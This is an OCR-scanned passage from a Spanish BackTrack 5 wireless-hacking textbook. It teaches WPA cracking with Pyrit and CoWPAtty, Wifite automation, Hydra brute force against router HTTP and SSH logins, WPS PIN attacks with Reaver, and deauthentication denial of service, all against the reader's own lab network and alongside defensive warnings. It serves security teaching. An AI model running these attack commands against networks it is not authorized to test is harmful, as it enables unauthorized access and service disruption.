# pyrit -e Laboratorio -f tablaRainbow.cow export

cowpatty
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5. Ahora impdrtela desde CoWPAtty para procesarla.

# cowpatty -d tablaRainbow.cow -s Laboratorio -r
handshake-01.cap

Donde handshake-01.cap es el archivo que contiene el proceso de
negociacion. Si todo ha ido bien y la clave esta en su diccionario, deberia
aparecer algo similar a lo mostrado en la figura 5.44.

root@bt: -

Figura 5.44. Obtencion de la clave WPA-PSK con Pyrit y tablas rainbow

9.5 AUTOMATIZAR EL ATAQUE

Wifite es un guién escrito en Python que automatiza todos los procesos
que hemos realizado con aircrack-ng para obtener las claves en redes WEP y WPA/
WPA2-PSK. La version actual solo se encuentra disponible para trabajar en modo
terminal. Incluye todos los ataques estudiados mas dos nuevos a redes WEP: Hirte y
caffe latte, que veremos en capitulos posteriores. Asi mismo, posee una interesante
caracteristica de verificacion del proceso de negociacion en las redes WPA.

Wifite hace uso de aircrack-ng, CoWPALtty y tshark, que vienen por defecto
en BackTrack 5; aunque también puede hacer uso de Pyrit, con el que se conseguird
una mayor funcionalidad y velocidad.
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En primer lugar, descargue el script desde el modo consola con wget
https://raw.github.com/derv82/wifite/master/wifite.pyn, COmMO s€
observa en la figura 5.45.

Wifite

Figura 5.45. Descarga del guion Wifite

Cuando haya finalizado la descarga, debera dar permiso de ejecucion al
archivo con el comando chmod +x wifite.py. Desde ese momento, ya podra
ejecutar Wifite desde un terminal en BackTrack siempre que lo necesite con el
comando . /wifite.py.

Una vez ejecutado el programa, lo primero que realiza es un escaneo de las
redes disponibles sobre las que podremos efectuar el ataque (Figura 5.46).

root@bt: ~

Figura 5.46. Redes sobre las que es posible lanzar un ataque con Wifite
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Nuestra red Laboratorio, con un cifrado WEP, aparece en primer lugar. En
su caso puede variar, no se preocupe. Una vez que vea la red que desea a atacar, pulse
Ctrl + C (Figura 5.47).

root@bt: ~

Figura 5.47. Seleccion del objetivo

En este momento deberd indicar el nimero de red que va a atacar, en nuestro caso
la namero 1, como ve en la imagen anterior. Wifite comenzard a recuperar la contrasefia
de la red. Dependiendo del protocolo empleado en la misma y de la complejidad de la
clave, tardard més o menos tiempo. Como es un proceso completamente automatico,
solo debe dejar trabajar al ordenador hasta que finalice (Figura 5.48).

root@bt: ~

Figura 5.48. Recuperacion de una clave WEP con Wifite

Para que valore su potencial, le dejamos como practica que pruebe a romper
con Wifite diferentes configuraciones de red.
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9.6 CONECTARSE A REDES WEP/WPA

................................................................................................................................................................................

Una vez recuperada la clave por cualquiera de los métodos estudiados, puede
autenticarse en la red desde una consola en BackTrack como prueba irrefutable de
que la red es insegura.

Al 1gual que hicimos anteriormente con las redes abiertas, vamos a ver como
conectarnos a redes que empleen protocolos WEP o WPA. Una vez que posea la
clave:

1. Configure su PA para que la red Laboratorio use como clave WEP
00112233445566778899abcdef.

2. Abra una consola en BackTrack e introduzca iwconfig wlan0 essid
Laboratorio key 00112233445566778899%abcdef.Acontinuacion,
escriba iwconfig wlanO y verd como su maquina aparece asociada al
router, como se observa en la figura 5.49.

Figura 5.49. Asociacion con una red WEP en modo terminal

En el caso de las redes WPA la conexion no es tan sencilla, pues iwconfig
no soporta los protocolos WPA/WPA2. Para estas redes debe emplearse la
herramienta WPA-supplicant, para lo que necesitard crear previamente un fichero
de configuracion.
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Siga atentamente estos pasos:

1. Pulse el botén derecho del raton sobre el escritorio de BackTrack, elija
Create Document > Empty File, ponga como nombre wpa-supp.conf
y pulse Enter. Abralo con un doble clic y escriba las siguientes lineas:

< wpa-supp.conf (~/Desktop) - gedit

B=
| wpa-supp.conf 3% 1
# WPA-PSK/TKIP

network={
ssid="Laboratorio"
key mgmt=WPA-PSK
proto=wPA
pairwise=TKIP
group=TKIP|
psk="123n074710n"

EEEEEER—————————. |

| PlainTexth| Tab Width: 8 v Ln 8, Col 19 INS 4

Figura 5.50. Fichero de configuracion wpa-supp.conf

2. Configure su PA con los mismos parametros y desde una consola escriba
wpa_ supplicant -Dwext -iwlan0 -c Desktop/wpa-supp.
conf para autenticarse. Una vez que la conexion se establezca con éxito
aparecera el mensaje “Connection to ... completed” (Figura 5.51).

root@bt: ~

Figura 5.51. Conexion establecida con éxito a una red WPA-PSK



136 BACKTRACK 5. HACKING DE REDES INALAMBRICAS © RA-MA

3. Una vez conectados a cualquier red, podemos hacernos con una direccion
IP del servidor DHCP con el comando dhclient3 wlanO0.

Figura 5.52. Obtencion de la direccion IP por DHCP

4. Haga ahora un ping a la direccion IP asignada para ver que todo funciona
con normalidad.

| ADVERTENCIA DE SEGURIDAD

Desactive siempre que le sea posible el servidor DHCP para que este no
,& asigne de forma automatica direcciones IP a los clientes.
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5.7 AUTOEVALUACION 5

¥ (Es siempre vulnerable el protocolo de cifrado WEP?

V' (Qué ataques probaria en caso de que no haya clientes registrados en una
red Wi-Fi con cifrado WEP?

W (Qué dos mejoras significativas incluye el protocolo WPA con respecto
a WEP?

W ;Qué diferencias hay entre un ataque por diccionario y uno por fuerza
bruta?

¥ (A qué ataques son vulnerables los protocolos WPA/WPA2-PSK? ;Por
qué? ;Es necesario algln requisito previo?

¥ (Qué es John the Ripper? ;Qué ataques puede efectuar?

WV ;Qué herramienta de las estudiadas en la unidad puede utilizar los
procesadores graficos para aumentar la potencia de los ataques por
diccionario o fuerza bruta?

¥ ;Puede siempre romperse una clave WPA/WPA2-PSK?

¥ (Cual es la principal ventaja de Wifite?






ATAQUES CONTRA LA
INFRAESTRUCTURA

Conocemos como “infraestructura de red inaldmbrica” al conjunto de
software y hardware que proporciona los servicios inalambricos a todos los clientes
de la red.

La seguridad de una red no solo depende de lo fuerte que sea su contrasena
—que en muchas situaciones es el unico pardmetro considerado—, sino también de
lo bien defendidos que estemos ante las diferentes vulnerabilidades existentes en
toda la infraestructura.

A veces, uno de los mas olvidados en la cadena es el propio punto de acceso,
y como reza una maxima en seguridad, un sistema es tan seguro como lo es el eslabon
mas débil de la cadena.

6.1 CREDENCIALES DEL PUNTO DE ACCESO

Si extrapolamos el dicho anterior a las redes inalambricas, significa que de
nada sirve ocultar una red, desactivar el servidor DHCP para que este no asigne
automaticamente direcciones IP a las maquinas que se conecten, disefiar filtros por
direcciones MAC y emplear fortisimas contraseiias WPA/WPA2-PSK si dejamos
desprotegido o casi olvidado al nucleo principal de toda infraestructura de red: el
router.
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Es usual en muchas compainias de telecomunicaciones que los puntos de
acceso que instalan estén protegidos por unas credenciales por defecto, y que, ademas,
en muchos casos, usuario y/o contrasefia no puedan modificarse. Asi, por ejemplo,
los enrutadores de ZyXel que instala Movistar vienen de fabrica con un usuario y
contrasefia que por defecto es 1234. Ademas, puede cambiarse la contrasefia, pero
no asi el usuario. Un atacante que eligiera ese router como objetivo, ya tendria hecha
la mitad del trabajo, o incluso todo si hemos pasado por alto cambiar la contrasefia y
emplear una lo suficientemente segura.

—N NOTA
|
g? Puede obtener un listado bastante completo de marcas, modelos y
credenciales por defecto de distintos routers en http:/davidarboledas.es/
- | bt/credenciales.php.

Para hacerse con el control de un punto de acceso, lo primero que habria que
probar serian las credenciales por defecto y, en caso de que no funcionara, como lo
habitual es que aqui no se empleen contrasefias tan elaboradas como en los protocolos
WPA/WPA2, lanzar un ataque de diccionario o fuerza bruta contra su autenticacion
HTTP. El objetivo es tomar el control del router a través de su panel de control.

ADVERTENCIA DE SEGURIDAD
Compruebe ahora que ha cambiado en su router las credenciales por
defecto. Si lo paso6 por alto en su momento, hagalo cuanto antes.

6.1.1 Hydra

Para los casos en los que deseamos saltarnos las credenciales de autenticacion
en un servicio dado, empleamos una herramienta muy poderosa conocida como
Hydra (http://'www.thc.org/thc-hydra/). Hydra, en su version 7.3, es un proyecto
de software libre en modo consola que de forma nativa implementa BackTrack 5.
Lo encontrara en Applications > BackTrack > Privilege Escalation > Password
Attacks > Online Attacks > Hydra.
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Su sintaxis es la siguiente:

# hydra [[[-1 LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]]
[-e ns] [-o FILE] [-t TASKS] ([-M FILE ([-T TASKS]] [-w TIME]
[-W TIME] [-£f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46]

[server service[OPT]]| [service://server|:PORT] [/OPT]]

Puede llevar a cabo ataques por fuerza bruta o por diccionario contra los
procesos de autenticacion en diversos servicios: telnet, ftp, pop3, http(s), imap smb,
ldap2, Idap3, mssql y mysq]l, entre otros.

La version actual en el momento de escribir este libro es la 7.3 y las opciones
mas habituales disponibles en la misma son las que se muestran en la tabla 6.1.

OPCIONES SIGNIFICADO
Conexion via SSL

‘Si el servicio se da en un puerto distinto al definid

Se autentica con el nombre LOGIN o prueba con distintos usuarios recogidos
en FILE

Prueba la contraseiia

1 PASS o carga las presentes en FILE

Comprobaciones adicionales; » para contrasefia en blanco y s prueba login
como contrasena

Usa un archivo con distintas credenciales con el formato “usuario:contraseiia”
Se utiliza para realizar ataques en paralelo. Una entrada por linea

Escribe en FILE las parejas usuario/contrasefia que halla

Finaliza después de encontrar la primera credencial vélida

IPv4 (defecto) / IPv6

Muestra por pantalla usuario + contrasefia en cada intento

Es el servidor objeto del ataque

Tipo de servicio, es decir, http, ftp, ssh

Tabla 6.1. Opciones habituales de Hydra
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6.1.1.1 FUERZA BRUTA CONTRA HTTP(S)

La mayoria de los sitios que obligan a autenticarse para acceder a un
servicio lo hacen a través de formularios o de ventanas emergentes de autenticacion.
Independientemente de la forma de hacerlo, o de si las credenciales viajan o no a
través del protocolo HTTPS, Hydra permite atacar ambos mecanismos de la misma
manera:

# hydra 192.168.1.1 -1 admin -P userPass.lst -vV -s 80 http
get -m /passwords.html

En este ejemplo, Hydra empezaria a atacar el servicio por el puerto 80 a
través del formulario de autenticacion presente en la pagina passwords.html en el
servidor 192.168.1.1. Como usuario usa admin y las contrasefias se encuentran en
el diccionario userPass.lst.

6.1.1.2 FUERZA BRUTA CONTRA SSH

SSH es el nombre de un protocolo que emplea técnicas de cifrado para que
la informacion que viaja por el medio de transmision no vaya en texto plano. Esto
impide, en principio, recuperar el usuario y contrasefia de una conexién en una
sesion dada.

Para realizar un ataque contra SSH en Hydra, es obligatorio tener instaladas
las librerias libssl-dev y libgtk2.0-dev, ya que son dependencias que utiliza el
software para la ejecucion de ataques contra SSH.

Un ejemplo de fuerza bruta contra SSH podria ser el siguiente:

# hydra 192.168.1.33 -1 miri -P userPass.lst -vV —s 4321 ssh

El ataque por fuerza bruta contra SSH se lanzaria a través del puerto 4321 en
el servidor 192.168.1.33. Como usuario siempre se usara miri y las contrasefias de
prueba se encuentran en el diccionario userPass.lst.

Aunque pueda parecer algo complejo, el uso de Hydra es realmente sencillo,
solo es cuestion de practica y paciencia. No se requiere ni conocimiento del sistema
que va a atacarse ni habilidades especiales.
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6.1.1.3 PROYECTO DVWA

En Internet existe un proyecto, conocido como DVWA (Damn Vulnerable
Web Application), que permite entrenarse en la explotacion de vulnerabilidades. Es
una aplicacion hecha en PHP y MySQL, perfecta para poner a prueba sus habilidades
como hacker y aprender nuevas técnicas. Puede descargarla desde htp.//dvwa.
googlecode.com/files/DVWA-1.0.7 zip.

6.1.2 Fuerza bruta contra el punto de acceso

Una vez aprendido como trabaja Hydra, es hora de poner en préctica el
ataque por fuerza bruta contra el servicio de autenticacion del panel de control de su
router:

1. En primer lugar, acceda a su punto de acceso y cambie la contraseiia por
una de cuatro caracteres alfanuméricos. Hemos escogido la clave 2Cd7 y
dejado como usuario admin (Figura 6.1). De este modo, podremos llevar
a cabo un ataque por fuerza bruta en un tiempo razonable.

atlan]ne
CISCo

Linksys EJ000 EI000

Adminmntracwon

Administracion esriccionés de  Aplicacionss & T
[ alambeico amiemo = Py stado

SEERssRRseERRTN

Figura 6.1. Modificacidn de la contrasefa del router

2. Aunque Hydra puede llevar a cabo ataques por fuerza bruta directamente,
vamos a construir nuestro propio diccionario con todas las palabras
posibles de cuatro caracteres alfanuméricos sin 7i. En total, 624 palabras.
Descargue el programa gratuito de Windows, Dictionary Maker, en
la direccion http://davidarboledas.es/bt/dcm.php. Lancelo, ponga las
mismas opciones que observa en la figura 6.2 y genere el diccionario
alfanumd4.txt.
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! DCM 20 (by K*KakO*B) n—ancy
Advanced About Bxit
Character set: —Ad "
ey

| sbedelghiidmnopgrshuywiyzABCDEFGHIKLMNOPORSTU
Vaz ¥ 0-3 W A-Z M 32-12%

Length of the words: 1
Staiting Il vI mll vl caactes) CiEaTe THE DIC! |

Oulput file (F exists wall be overvmiltan]
|CAUsers\David\Deskiop\ sl anuerd bt Q l@

&

Figura 6.2. Creacion de un diccionario para fuerza bruta

3. Copie el diccionario en la ruta /root de su maquina atacante y conéctela
a Internet.

4. Ahoraeselmomentodeejecutar Hydra. Como la URL paraaccederal panel
de control de nuestro router Cisco-Linksys E3000 es http://192.168.1.1/
home.asp, debemos lanzar el ataque con el siguiente comando: hydra
-1 admin -P alfanumd.txt 192.168.1.1 http-get -m /
home . asp (Figura 6.3).

Figura 6.3. Obtencidn de las credenciales de un router con Hydra

Con la opcion —/ le hemos indicado el usuario (admin), con —P el nombre
y ruta del diccionario (alfanum4.txt) y con http-get el servicio (HTTP).

| TRUCO
En Hydra, la opcién —L se reserva para indicar el diccionario que empleara
= el programa y —p para probar una Unica contrasefia.
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Observe en la figura anterior que incluso para una contrasena de cuatro
caracteres alfanuméricos, Hydra ha tardado 18 horas en encontrar las
credenciales que dan acceso al panel de administracion (admin, 2Cd7).
Esto demuestra por un lado lo importante que es modificar las credenciales
de fabrica y, por otro, lo esencial que resulta poner una contrasefia robusta.

ADVERTENCIA DE SEGURIDAD
Para proteger su punto de acceso use una contrasefia de al menos 9
caracteres alfanuméricos que contenga letras mayusculas, minusculas,
nldmeros y caracteres especiales: @, #, $, etc. Asi mismo, siempre que sea
posible, impida el acceso remoto al router.

6.1.2.1 XHYDRA

Hydra también puede usarse desde una interfaz gréfica, a la que se accede
con el siguiente comando:

# xhydra

Cuando arranca el modo grafico, nos encontramos con la siguiente ventana
(Figura 6.4):

O Single Target |127.0.02
) Target List [
[ Prefer IPV6
Port o |2
Pratocol ] v
Cutput Options
[ Use SSL [ Be Verbose
[ Show Attempts ) Debug

hydra -| yourname -p yourpass -t 16 127.0.0.1 afp

Figura 6.4. Interfaz grafica de Hydra (xHydra)
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Para realizar un ataque por fuerza bruta contra nuestro punto de acceso,
debemos elegir los siguientes valores:

¥V Pestaiia Objetivo (Target)

e Single Target: 192.168.1.1
e Protocol: http-get
e Marcar las siguientes opciones: Be verbose, Show Attempts

W Pestaiia Contraseias (Passwords)

e Username: admin

e Password List: Seleccionelo y haga clic para elegir el diccionario /
pentest/passwords/wordlists/darkcOde. st

e Marcar las opciones Try login as password y Try empty password

¥ Pestaiia Afinar (Tuning)

e Number of Tasks: /
e Exit after first found pair: Seleccionelo

Vaya ahora a la pestaiia Start y pulse el boton homonimo, situado en la
esquina inferior 1zquierda, para comenzar el ataque (Figura 6.5).

Output
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (httpywww.thc.org/thc-hydra) starting at 2012-11-09 16:33:09
[VERBOSE] More tasks defined than login/pass pairs exist. Tasks reduced to 15.
[DATA] 15 tasks, 1 server, 15 login tries (1:1/p:15), <1 try per task

[DATA] attacking service http-get on port 80

VERBOSE] Resolving addresses ... done

[ATTEMPT] target 192.168.1.1 - login "admin” - pass "admin" - 1 of 15 [child 0]
[ATTEMPT] target 192.168.1.1 - login “admin® - pass ** - 2 of 15 [child 1]
[ATTEMPT] target 192.168.1.1 - login "admin® - pass "3a01" - 3 of 15 [child 2]
[ATTEMPT] target 192.168.1.1 - login “admin® - pass "aA02" - 4 of 15 [child 3]
ATTEMPT] target 192.168.1.1 - login "admin” - pass "bA3a" - 5 of 15 [child 4]
[ATTEMPT] target 192.168.1.1 - login "admin® - pass "2Cd0" - 6 of 15 [child 5]
[ATTEMPT] target 192.168.1.1 - login "admin” - pass "2Cd1" - 7 of 15 [child 6]
ATTEMPT] target 192.168.1.1 - login “admin® - pass “2Cd2* - 8 of 15 [child 7]
[ATTEMPT] target 192.168.1.1 - login “admin® - pass “2Cd3" - 9 of 15 [child 8]
[ATTEMPT] target 192.168.1.1 - login “admin” - pass "2Cd4" - 10 of 15 [child 9]
[ATTEMPT] target 192.168.1.1 - login "admin® - pass “2Cd5" - 11 of 15 [child 10]
[ATTEMPT] target 192.168.1.1 - login "admin” - pass "2Cd6" - 12 of 15 [child 11]
[ATTEMPT] target 192.168.1.1 - login “admin”® - pass “2Cd7" - 13 of 15 [child 12]
[ATTEMPT] target 192.168.1.1 - login "admin® - pass “2Cd8" - 14 of 15 [child 13]
[ATTEMPT] target 192.168.1.1 - login "admin® - pass "2Cd9" - 15 of 15 [child 14]

[80][www] host: 192.168,1.1 login: admin password: 2Cd7

ISave Output | Clear Output

dra -v -V -| admin -P froot/darcode.lst -e ns -t 16 -m foo/bar/protected.htm! 192.168.1.1 http-g

Figura 6.5. Recuperacion de las credenciales con xHydra
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THC-Hydra es, como observa, una poderosa herramienta para comprobar
on-line credenciales de acceso en aquellas infraestructuras donde las contrasefias
son el eslabon mas débil de toda la arquitectura, de ahi la importancia de practicar y
perfeccionar el uso de esta herramienta.

Le aconsejamos ahora, si ya ha descargado el proyecto DVWA, que lo instale
y acepte el reto de romper las credenciales de autenticacion en la pagina.

6.1.3 Fuerza bruta contra WPS

WPS (Wi-Fi Protected Setup™) es una certificacion introducida en 2007
por la Alianza Wi-F1 para facilitar las tareas de instalacion y configuracion de los
dispositivos en una red inalambrica de area local. En otras palabras, WPS no es un
mecanismo de seguridad en si mismo, sino la definicion de diversos mecanismos que
facilitan la configuracion de una red segura con WPA con la minima intervencion
por parte del usuario en entornos domésticos y pequeiias oficinas. Concretamente,
WPS describe los mecanismos a través de los cuales los diferentes dispositivos de
la red obtienen las credenciales (SSID y PSK) necesarias para iniciar el proceso de
autenticacion.

Practicamente todos los grandes fabricantes de dispositivos inalambricos,
incluidos Cisco/Linksys, Netgear, D-Link, Belkin y ZyXEL, han certificado
dispositivos como WPS.

Aunque WPS se comercializa como un modo seguro de configurar cualquier
dispositivo inalambrico, se han documentado vulnerabilidades tanto en el disefo
como en la implementacion, que permitirian a un atacante hacerse con el control del
router y acceder a la red sin ninglin problema, por bien protegida que esta esté.

De los cuatro tipos de configuraciones diferentes para el intercambio de
credenciales que contempla WPS, solo se han certificado dos hasta el momento:
PBCy PIN

¥V PBC (Push-Button-Connect). Con este mecanismo, el usuario tiene que
pulsar un boton, bien uno real en el dispositivo, bien uno virtual, tanto en
el punto de acceso como en el cliente inalambrico. El boton estara activo
en el PA solo hasta que la autenticacion haya sido un €xito o un maximo
de dos minutos, lo que ocurra antes (Figura 6.6 A y B).
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P PIN. En este caso, el usuario debe introducir un PIN de ocho digitos,
que suele estar impreso en la etiqueta del adaptador o ser generado por
software, en una interfaz dada, como la pantalla (Figura 6.6 B y C).

En diciembre de 2011, Stefan Viehbock y Craig Heffnet informaron de una
debilidad en el disefio e implementacion de los dispositivos que tenian activada la
funcién WPS, también llamada QSS, y que en los dispositivos actuales suele estar
habilitada por defecto. Esta vulnerabilidad permite recuperar el PIN por fuerza bruta
en un tiempo relativamente corto.

Wi-Fi Protected Setup™ B
Utilice una de las siguientes opciones para cada dispesdng compatible
con ka configuracion WA-Fi protegida

1 5u ol diapositno del chante tiene un botén
4 configuracain Wi-Fi prolegids. haga eic
an @52 beton o pulsalo v, @ continuacin,
haga ciic en ¢l boton de la derecha

0
A 2 Si el dispostivo del chanta tiene un ndmars PIN de configuracitn Wi-Fi protegida. escriba
#se ndmero aqui y. 3 contimsacién, haga ciic en | Registrar |

[+]

31 Si ¢l clientz solicita of nimaro PN de! router. introduzcs aste ndmaro 52165218 en ¢l
dispesane del chinte

C
s s =
ggglﬁai%’?l E1 PIN estd escrito en la
etiqueta de la parte posterior

del router

Figura 6.6. Formas de intercambiar las credenciales en una red Wi-Fi con WPS

La vulnerabilidad se centra en los mensajes enviados entre el cliente y el punto
de acceso cuando se intenta validar el PIN. Como hemos dicho, el PIN tiene ocho
numeros, aunque el octavo es un digito de control, por lo que tedricamente existen
10 millones de aquellos. No obstante, como el mecanismo informa de la validez de
la primera y segunda mitades del PIN de modo separado, el nimero de posibilidades
cae drasticamente. Asi, debido a la vulnerabilidad de disefio e implementacion,
ahora son solo necesarios 104 + 10 = 11.000 numeros de identificacion en vez de 10
millones.
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6.2 REAVER

Reaver es un software de codigo abierto distribuido bajo la licencia GNU
GPLv2 que se utiliza ampliamente para realizar ataques por fuerza bruta contra el
cddigo PIN de los puntos de acceso que tienen habilitado WPS. Una vez obtenido
el PIN, no hay nada que impida recuperar en texto plano la clave WPA/WPA2-PSK
de la red.

Reaver hace fuerza bruta sobre la primera mitad del PIN y una vez
identificados los cuatro digitos, contra la segunda, por lo que solo necesita realizar
10.999 intentos. La velocidad a la que puede probar los numeros estd totalmente
limitada por la velocidad a la que el PA puede procesar peticiones WPS. Algunos
routers son suficientemente rapidos para que se pueda probar un nimero de
identificacion personal cada segundo, otros son més lentos, y algunos otros se
bloquearan y se abortara el ataque. Estadisticamente, cuando este es exitoso, puede
recuperarse el PIN WPS en un tiempo comprendido entre 2 y 5 horas.

6.2.1 Instalacion

Reaver solo se encuentra distribuido para plataformas Linux y requiere como
dependencias las librerias libpcap y libsqlite3, por lo que antes de nada ejecute el
siguiente codigo:

# apt-get install build-essential libpcap0.8-dev libsglite3-

dewv

Una vez que tenga estos paquetes instalados entonces puede proceder a
descargar, descomprimir el fichero far.gz y compilar el paquete, lo que se hace con
los siguientes pasos:

# wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
# ./configure
# make

# make install
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6.2.2 Uso

Una vez instalado Reaver, el siguiente paso consiste en definir el objetivo
del ataque. Para ello, lo mas importante es saber si el punto de acceso elegido tiene
el modo WPS activado, condicion necesaria para que el ataque pueda funcionar. Asi
que pongamonos manos a la obra:

1. Acceda al panel de control de su router y active la funcion WPS si tiene
esa posibilidad. Si no es asi no se preocupe, en un momento sabremos si
dicha opcion esta configurada.

2. Blinde la red Laboratorio con una robusta contraseiia WPA/WPA2-PSK.

3. Ponga la interfaz inaldimbrica de la maquina atacante en modo monitor
con airmon-ng start wlanO.

4. Abra Wireshark y filtre las tramas emitidas por el punto de acceso del
supuesto objetivo que nos indiquen que WPS se encuentra configurado,
lo que hacemos con el filtro (wlan.bssid == <MAC>) && (wps.
wifi protected setup state == 0x02) (Figura6.7).

1 9.000800 Cisco Ll 0502100
20.105205 Cisco-14 85:c2:38 Broadcast

. ShelBl4,

§ii

4.0.3732 Cisco-Li 85:c2:30 Broadcast

=0,
5 0.409703 Cisco-L4 05:¢2130 Broadcast . PNl
6 0.512682 Cisco-Li 05:c2: 0 Broadcast 802.11  Beacon frame, SN-1619, Fh=8,
7 0.614570 Casco-Li 08:¢2:38 Broadcast 862.11 Beacon frame, SN-1620, Fie8,
8 0.716858 Cisco-Li 05:¢2:30 Brosdcast P02.11 Beacon frame, SNe=1621, Fid,
9 0.8102%7 Cisco-Li 85:c2:30 Broadcast 80211  Beacon frame, SH-1622, FN-0,
AR O T T AT e T ey R e R e o o -l
=i Tag:
Tag Nusber: Vendor Specific (221)
Tag length: 34

oul: e9-50-12 (Microsef)
Vender Specific OUI Type: 4
Type: WPS (0xd4)
=i Version: Ox10
Data Element Type: Version (0x104a)
Data €lement Length: 1
Version: Ox10

Data Elesent Type: Wifi Protected Setup State [(0u1044)

Data Elesent Length: 1

wifi Protected Setup State: Configured (0x02)
= Tag: Vendor Specific: Broadcos

p/1” 486 KB 00:0... - Packets: 1529 Displayed

Figura 6.7. Wi-Fi Protected Setup configurado

Si el punto de acceso tiene activo WPS, entonces es susceptible de sufrir
un ataque por fuerza bruta contra su PIN.
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5. Abra una consola e inicie Reaver con el codigo (Tabla 6.2):

# reaver -i [interfaz modo monitor] -b [BSSID] OPT

Es buena idea comenzar el ataque en modo verbose, para ver las respuestas
del router. No todos los puntos de acceso son susceptibles de sufrir un
ataque por fuerza bruta que culmine con éxito, sobre todo después de las
actualizaciones de firmware de muchos fabricantes.

6. Sitodo va bien, en unas horas tendra el codigo PIN WPS (Figura 6.8):

Usa los canales de la banda de 5 GHz definidos por 802.11

Tabla 6.2. Opciones habituales de Reaver
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6.3 WPSCRACKGUI

Wpscrackgui es una interfaz grafica para crackear redes Wi-Fi con WPS
configurado. Es un software libre distribuido bajo licencia GNU GPL v3 que puede
descargarse como paquete de software de Debian (.deb) desde el sitio del proyecto
original (http://sourceforge.net/projects/wpscrackgui). Su uso es bastante facil y
muy Intuitivo, ademas de estar en espafiol. Actualmente sigue en fase alfa, por lo
que contiene algunos errores que deben seguir depurandose.

Para instalar esta herramienta debemos haber hecho lo propio con Reaver
v1l.4 o superior y tener la rutina gambas 2 instalada en el sistema operativo.
Suponiendo que ya haya instalado Reaver y descargado el archivo wpscrackgui,
escriba los siguientes comandos para proceder a su instalacion:

# apt-get update
# apt—-get install gambasZ-runtime
# dpkg -i wpscrackgui 1.1.8-1 ubuntu.deb

Si todo ha salido bien, Wpscrackgui aparecera en BackTrack en
Aplicaciones > Internet.

Cuando lo ejecute, vera una pantalla como la mostrada en la figura 6.9.

' Driver; B Configuracion;

Modo Monitor: ACTIVAR Q Ataque Normal.

Interfaz: |wiano | » 1 1)

Y Escaneo de Redes:

Interfaz: 2

| mon0 | v |5
Wash | Airodump-ng
WPScan | WPSpy
' Ataque:
MAC Address: @ [STaEHEIE] e

| Cambiar MAC 0:
| Q Ataque Volver a elegir

Figura 6.9. Interfaz gréfica para Reaver, Wpscrackgui
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Para lanzar el ataque contra un router con WPS configurado, siga estos pasos:

1. Refresque la interfaz, elija wlan0 como interfaz inaldmbrica y active el
modo monitor.

2. En la seccion Escaneo de Redes, refresque la interfaz, elija mon0 como
modo monitor y haga un escaneo para seleccionar el punto de acceso.

3. Introduzca la direccion fisica del router que va a atacarse.

4. Especifique alguna opcion de la seccién Configuracion y pulse el boton
Ataque.

6.4 DENEGACION DE SERVICIO

La denegacién de servicio (DoS) es una accién o conjunto de acciones
que impiden que la red funcione conforme a sus estandares. Estos ataques pueden
clasificarse como de asignacion de recursos o de destruccion de recursos. Un ataque de
asignacion de recursos puede consumir los recursos del sistema e impedir el legitimo
uso de la red. Tan pronto como cesa el ataque, los recursos vuelven a estar disponibles.
Por otro lado, un ataque de destruccién de recursos explota vulnerabilidades del
sistema para conseguir que los recursos queden completamente inutilizados.

Existe una gran variedad de herramientas para lanzar ataques DoS sobre
redes inalambricas Wi-Fi. Son muy dificiles de detectar y si se detectan, de repeler.
S1 la red alambrica no esta disponible y sus usuarios no pueden realizar sus tareas,
el hacker habra conseguido sus objetivos. Ademas, estos ataques suelen durar muy
poco tiempo y solo es posible detectarlos en tiempo real.

Entre los ataques DoS a redes inalambricas se incluyen:

V' Ataques por generacion de interferencias.
WV Ataques de desautenticacion.
¥ Ataques de desvinculacion.

Las ondas de radiofrecuencia transmitidas por las redes inaldmbricas Wi-Fi
son atenuadas e interferidas por diversos obstaculos y ruidos. A medida que aumenta
el ruido, disminuye la relacion sefial/ruido y, de ese modo, se reduce la calidad de
la transmision. Esto quiere decir que si alguna persona deliberadamente produce
interferencias o ruido en la regiéon de influencia del punto de acceso se puede
provocar una caida de la red.
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Este ataque es muy sencillo y se puede realizar con un generador de ruido
de poco mas de 100 €. Si el administrador de la red no cuenta con herramientas
apropiadas, le sera muy dificil detectar esta situacion. Los usuarios de la red
mnalambrica se quejaran y, a los pocos minutos, todo funcionara correctamente, hasta
el proximo ataque.

Los ataques de desautenticacion tienen por objetivo conseguir la salida de
la red de uno o varios clientes legitimos para lograr que aquella quede inutilizada o
bien para que los clientes vuelvan a autenticarse y poder lanzar asi algunos de los
ataques ya estudiados.

Veamos mas detalladamente como realizar un ataque de denegacion de
servicio por desautenticacion:

1. Configure su PA para que la red Laboratorio est¢ abierta.

2. Conéctese con la victima a la red para poder lanzar el ataque de
desautenticacion a continuacion (Figura 6.10).

root@bt: -

H"’\‘;’:I“II I +rf:r

Figura 6.10. Futura victima del ataque de desautenticacion

3. Abra un terminal en BackTrack, y tras poner el adaptador en modo
monitor, escriba el comando siguiente para desautenticar a la victima:
aireplay-ng --deauth 1 -a C0:C2:C0:05:C2:30 -h
C0:C2:C0:05:C2:30 —c AC:81:12:2F:31:E6 monO (Figura 6.11).

root@bt:

Figura 6.11. Ataque de desautenticacion contra una victima
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4. Compruebe ahora en el terminal que airodump-ng abri6 en el punto 1 que
efectivamente el cliente se ha desconectado del punto de acceso (Figura
6.12).

[
e

HactCK

Figura 6.12. Victima desconectada con éxito

5. Si ejecuta ahora Wireshark, vera una enorme cantidad de paquetes de
desautenticacion dirigidos contra la maquina victima (Figura 6.13).

119 6.22189% { 9 Desuthentication, )

120 6.223%08  GestekTe 2f:31:e6 CiscosLl 03:¢2:30 02.11 38 Deauthentication, Su=l, FNe®, Flagss.
121 6.774005  GemtekTe 27:)1:¢6  Cisco-Li 05:¢2:30 807.11 39 Deauthentication, SNsl, Fhed, Flagse..
150 6.249140  Cisco-Li 03:¢2:30  GestekTe 2f:31:e6 802.11 38 Desuthentication, SNe10. F=0, Flagse

152 6.24927)  Cisco-Li 08:¢2:30 GenlekTe 21:11:06 802.11 19 Deauthentication, SN=10, FN=0, Flags=. ... ...

479 6.514119  Cisco-L1 05:c2:30 GemtekTe 2f:31:06 802 11 18 Deauthentication, SNe109, FieO, Aavn

480 6.314287 Cisco-Ll §3:¢2:30 GenteaTe 27:31:08 #02.11 39 Desuthentication, SNe100, Fue@,

483 6.516239  GestekTe 21:31:ed Cisco Ll 03:¢2: 00 807.11 38 Deauthentication, SN=101, FieO,

404 6.516077 GeatekTe 21:)1:e6 Cisco-Li 05:<2: 30 .l 39 Deauthentication, SN=101, Faed,

